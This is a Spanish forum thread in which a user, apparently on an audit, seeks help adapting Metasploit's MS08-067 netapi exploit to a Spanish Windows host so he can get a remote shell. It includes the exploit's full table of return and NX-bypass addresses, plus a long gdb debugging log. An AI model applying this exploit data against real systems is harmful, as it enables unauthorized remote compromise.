elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 19:12  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Modificando ms08_07_netapi para correcto uso
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Modificando ms08_07_netapi para correcto uso  (Leído 2,138 veces)
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Modificando ms08_07_netapi para correcto uso
« en: 7 Enero 2010, 23:00 »

Hola a tod@s, hace poco estaba en una pequeńa auditoria, intentando conseguir un sesion de meterpreter con metasploit, y use el exploit ms08_07_netapi, el problema es que no estaba preparado para la direcion de retorno, que devuelve, me explico:

El exploit abre el handler y comrpueba que target hay, segun idioma, sp del guind0$....

El problema es que me cojia el idioma como desocnocido y me ejcuta el exploit, pero sin sesiones, asi que me propuse ańadirle una nueva target al codigo, pero para mi sorpresa (el spanish que intentaba atacar) ya estaba codeado, mirad todos los que estan codeados:
Código
			#
# UNIVERSAL TARGETS
#
 
#
# Antoine's universal for Windows 2000
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows 2000 Universal',
{
'Ret'       => 0x001f1cb0,
'Scratch'   => 0x00020408,
}
], # JMP EDI SVCHOST.EXE
 
#
# Standard return-to-ESI without NX bypass
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows XP SP0/SP1 Universal',
{
'Ret'       => 0x01001361,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE
 
#
# ENGLISH TARGETS
#
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 English (NX)',
{
'Ret'       => 0x6f88f727,
'DisableNX' => 0x6f8916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 English (NX)',
{
'Ret'       => 0x6f88f807,
'DisableNX' => 0x6f8917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP0 Universal',
{
'Ret'       => 0x0100129e,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE
 
 
# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP1 English (NO NX)',
{
'Ret'       => 0x71bf21a2,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL
 
# Brett Moore's crafty NX bypass for 2003 SP1
[ 'Windows 2003 SP1 English (NX)',
{
'RetDec'    => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
'RetPop'    => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],
 
# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP2 English (NO NX)',
{
'Ret'       => 0x71bf3969,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL
 
# Brett Moore's crafty NX bypass for 2003 SP2
[ 'Windows 2003 SP2 English (NX)',
{
'RetDec'    => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
'RetPop'    => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],
 
 
#
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
#
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Arabic (NX)',
{
'Ret'       => 0x6fd8f727,
'DisableNX' => 0x6fd916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf727,
'DisableNX' => 0x58fc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Czech (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Danish (NX)',
{
'Ret'       => 0x5978f727,
'DisableNX' => 0x597916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 German (NX)',
{
'Ret'       => 0x6fd9f727,
'DisableNX' => 0x6fda16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Greek (NX)',
{
'Ret'       => 0x592af727,
'DisableNX' => 0x592b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Spanish (NX)',
{
'Ret'       => 0x6fdbf727,
'DisableNX' => 0x6fdc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Finnish (NX)',
{
'Ret'       => 0x597df727,
'DisableNX' => 0x597e16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 French (NX)',
{
'Ret'       => 0x595bf727,
'DisableNX' => 0x595c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hebrew (NX)',
{
'Ret'       => 0x5940f727,
'DisableNX' => 0x594116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hungarian (NX)',
{
'Ret'       => 0x5970f727,
'DisableNX' => 0x597116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Italian (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Japanese (NX)',
{
'Ret'       => 0x567fd3be,
'DisableNX' => 0x568016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Korean (NX)',
{
'Ret'       => 0x6fd6f727,
'DisableNX' => 0x6fd716e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Dutch (NX)',
{
'Ret'       => 0x596cf727,
'DisableNX' => 0x596d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Norwegian (NX)',
{
'Ret'       => 0x597cf727,
'DisableNX' => 0x597d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Polish (NX)',
{
'Ret'       => 0x5941f727,
'DisableNX' => 0x594216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff727,
'DisableNX' => 0x597016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Russian (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Swedish (NX)',
{
'Ret'       => 0x597af727,
'DisableNX' => 0x597b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Turkish (NX)',
{
'Ret'       => 0x5a78f727,
'DisableNX' => 0x5a7916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Arabic (NX)',
{
'Ret'       => 0x6fd8f807,
'DisableNX' => 0x6fd917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf807,
'DisableNX' => 0x58fc17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Czech (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Danish (NX)',
{
'Ret'       => 0x5978f807,
'DisableNX' => 0x597917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 German (NX)',
{
'Ret'       => 0x6fd9f807,
'DisableNX' => 0x6fda17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Greek (NX)',
{
'Ret'       => 0x592af807,
'DisableNX' => 0x592b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Spanish (NX)',
{
'Ret'       => 0x6fdbf807,
'DisableNX' => 0x6fdc17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Finnish (NX)',
{
'Ret'       => 0x597df807,
'DisableNX' => 0x597e17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 French (NX)',
{
'Ret'       => 0x595bf807,
'DisableNX' => 0x595c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hebrew (NX)',
{
'Ret'       => 0x5940f807,
'DisableNX' => 0x594117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hungarian (NX)',
{
'Ret'       => 0x5970f807,
'DisableNX' => 0x597117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Italian (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Japanese (NX)',
{
'Ret'       => 0x567fd4d2,
'DisableNX' => 0x568017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Korean (NX)',
{
'Ret'       => 0x6fd6f807,
'DisableNX' => 0x6fd717c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Dutch (NX)',
{
'Ret'       => 0x596cf807,
'DisableNX' => 0x596d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Norwegian (NX)',
{
'Ret'       => 0x597cf807,
'DisableNX' => 0x597d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Polish (NX)',
{
'Ret'       => 0x5941f807,
'DisableNX' => 0x594217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff807,
'DisableNX' => 0x597017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Russian (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Swedish (NX)',
{
'Ret'       => 0x597af807,
'DisableNX' => 0x597b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Turkish (NX)',
{
'Ret'       => 0x5a78f807,
'DisableNX' => 0x5a7917c2,
'Scratch'   => 0x00020408
}

Y spanish esta! que pueod hacer?
Pues me propuse ver que offset contenia el retorno selecionado, que yo buscaba, asi que quise personalizar el epxloit para mi supuesta "victima", pero me encuentro con el problema, de que se como hacer en ollydbg con un .exe proceso de windows, pero no se hacerlo bajo linux, y el ataque debo realizarlo bajo este.

Alguna idea al respecto?

Estoy desesperadillo, porque ya he intentado de todo con ese host, y justo cuando le iba a decir, tu sistema es muy seguro, pocos lammers entrarian xD veo que tiene el 445 ds-windows sin filtrar! Yujuuu a pillar shell remota cosa mala, pero me encuentro con esto, y venia a pediros algun consejillo o palabra de experto, esa que siempre te salva jeje.

Saludos y gracias a todos de antemano
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Modificando ms08_07_netapi para correcto uso
« Respuesta #1 en: 8 Enero 2010, 02:41 »

Para depurar un ejecutable en sistema linux.

gdb -p pid

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Re: Modificando ms08_07_netapi para correcto uso
« Respuesta #2 en: 8 Enero 2010, 17:44 »

Para depurar un ejecutable en sistema linux.

gdb -p pid

Saludos

No hay dios que entienda eso xD ademas uso el comando help, y veo que con stack puedo tracear el ""(stack xD) pero no funciona no me lo reconoce.

Saludos
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Modificando ms08_07_netapi para correcto uso
« Respuesta #3 en: 8 Enero 2010, 21:34 »

Ok, pon lo que estas haciendo para ver que estas haciendo mal.

Lo que yo te responde lo respondi por que fue la unica duda que te entendí.

Citar
pero me encuentro con el problema, de que se como hacer en ollydbg con un .exe proceso de windows, pero no se hacerlo bajo linux, y el ataque debo realizarlo bajo este.
Saludos




« Última modificación: 8 Enero 2010, 21:38 por Anon » En línea

Bien Super Divertido
@wifigdlmx
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Re: Modificando ms08_07_netapi para correcto uso
« Respuesta #4 en: 8 Enero 2010, 22:09 »

Ok, pon lo que estas haciendo para ver que estas haciendo mal.

Lo que yo te responde lo respondi por que fue la unica duda que te entendí.

Citar
pero me encuentro con el problema, de que se como hacer en ollydbg con un .exe proceso de windows, pero no se hacerlo bajo linux, y el ataque debo realizarlo bajo este.
Saludos





Literalmente, el hecho de jugar con gdb, con ollydgb te salen todas las offsets con las instruciones de asm la selecionas modifcas y compilas a tu gsuto, con esto una consola que no lee ni los comandos que ella misma te da por help xD
Mira pruebo a debuggear el firefox:

Código:
debci@0x81:~$ gdb -p 7099
GNU gdb (GDB) 7.0-ubuntu
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Adjuntando a process 7099
Leyendo símbolos desde /usr/lib/firefox-3.5.6/firefox...(no debugging symbols found)...hecho.
Leyendo símbolos desde /lib/tls/i686/cmov/libpthread.so.0...(no debugging symbols found)...hecho.
[Thread debugging using libthread_db enabled]
[Nuevo Thread 0xa6fffb70 (LWP 8275)]
[Nuevo Thread 0xacffeb70 (LWP 8166)]
[Nuevo Thread 0xaf1fdb70 (LWP 7467)]
[Nuevo Thread 0xb0ffeb70 (LWP 7462)]
[Nuevo Thread 0xb21feb70 (LWP 7460)]
[Nuevo Thread 0xb29ffb70 (LWP 7459)]
[Nuevo Thread 0xb5dffb70 (LWP 7456)]
[Nuevo Thread 0xb67feb70 (LWP 7455)]
[Nuevo Thread 0xb6fffb70 (LWP 7454)]
Símbolos cargados para /lib/tls/i686/cmov/libpthread.so.0
Leyendo símbolos desde /usr/lib/libasound.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libasound.so.2
Leyendo símbolos desde /lib/tls/i686/cmov/libdl.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libdl.so.2
Leyendo símbolos desde /usr/lib/libstdc++.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libstdc++.so.6
Leyendo símbolos desde /lib/tls/i686/cmov/libm.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libm.so.6
Leyendo símbolos desde /lib/libgcc_s.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libgcc_s.so.1
Leyendo símbolos desde /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libc.so.6
Leyendo símbolos desde /lib/ld-linux.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/ld-linux.so.2
Leyendo símbolos desde /lib/tls/i686/cmov/librt.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/librt.so.1
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/libmozjs.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/libmozjs.so
Leyendo símbolos desde /usr/lib/libplds4.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libplds4.so
Leyendo símbolos desde /usr/lib/libplc4.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libplc4.so
Leyendo símbolos desde /usr/lib/libnspr4.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libnspr4.so
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/libxul.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/libxul.so
Leyendo símbolos desde /usr/lib/libsqlite3.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libsqlite3.so.0
Leyendo símbolos desde /usr/lib/libssl3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libssl3.so
Leyendo símbolos desde /usr/lib/libsmime3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libsmime3.so
Leyendo símbolos desde /usr/lib/libnss3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libnss3.so
Leyendo símbolos desde /usr/lib/libnssutil3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libnssutil3.so
Leyendo símbolos desde /usr/lib/libcairo.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libcairo.so.2
Leyendo símbolos desde /usr/lib/libfreetype.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libfreetype.so.6
Leyendo símbolos desde /usr/lib/libfontconfig.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libfontconfig.so.1
Leyendo símbolos desde /usr/lib/libXrender.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXrender.so.1
Leyendo símbolos desde /usr/lib/libX11.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libX11.so.6
Leyendo símbolos desde /lib/libz.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libz.so.1
Leyendo símbolos desde /usr/lib/libhunspell-1.2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libhunspell-1.2.so.0
Leyendo símbolos desde /usr/lib/libdbus-glib-1.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libdbus-glib-1.so.2
Leyendo símbolos desde /lib/libdbus-1.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libdbus-1.so.3
Leyendo símbolos desde /usr/lib/libgobject-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgobject-2.0.so.0
Leyendo símbolos desde /lib/libglib-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libglib-2.0.so.0
Leyendo símbolos desde /usr/lib/libpangoft2-1.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libpangoft2-1.0.so.0
Leyendo símbolos desde /usr/lib/libpango-1.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libpango-1.0.so.0
Leyendo símbolos desde /usr/lib/libgmodule-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgmodule-2.0.so.0
Leyendo símbolos desde /usr/lib/libgtk-x11-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgtk-x11-2.0.so.0
Leyendo símbolos desde /usr/lib/libatk-1.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libatk-1.0.so.0
Leyendo símbolos desde /usr/lib/libgdk-x11-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgdk-x11-2.0.so.0
Leyendo símbolos desde /usr/lib/libgdk_pixbuf-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgdk_pixbuf-2.0.so.0
Leyendo símbolos desde /usr/lib/libpangocairo-1.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libpangocairo-1.0.so.0
Leyendo símbolos desde /usr/lib/libgio-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgio-2.0.so.0
Leyendo símbolos desde /usr/lib/libXt.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXt.so.6
Leyendo símbolos desde /usr/lib/libgthread-2.0.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgthread-2.0.so.0
Leyendo símbolos desde /usr/lib/libstartup-notification-1.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libstartup-notification-1.so.0
Leyendo símbolos desde /usr/lib/libpixman-1.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libpixman-1.so.0
Leyendo símbolos desde /usr/lib/libdirectfb-1.2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libdirectfb-1.2.so.0
Leyendo símbolos desde /usr/lib/libfusion-1.2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libfusion-1.2.so.0
Leyendo símbolos desde /usr/lib/libdirect-1.2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libdirect-1.2.so.0
Leyendo símbolos desde /usr/lib/libpng12.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libpng12.so.0
Leyendo símbolos desde /usr/lib/libxcb-render-util.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb-render-util.so.0
Leyendo símbolos desde /usr/lib/libxcb-render.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb-render.so.0
Leyendo símbolos desde /usr/lib/libxcb.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb.so.1
Leyendo símbolos desde /lib/libexpat.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libexpat.so.1
Leyendo símbolos desde /lib/libpcre.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libpcre.so.3
Leyendo símbolos desde /usr/lib/libXcomposite.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXcomposite.so.1
Leyendo símbolos desde /usr/lib/libXdamage.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXdamage.so.1
Leyendo símbolos desde /usr/lib/libXfixes.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXfixes.so.3
Leyendo símbolos desde /usr/lib/libXext.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXext.so.6
Leyendo símbolos desde /usr/lib/libXinerama.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXinerama.so.1
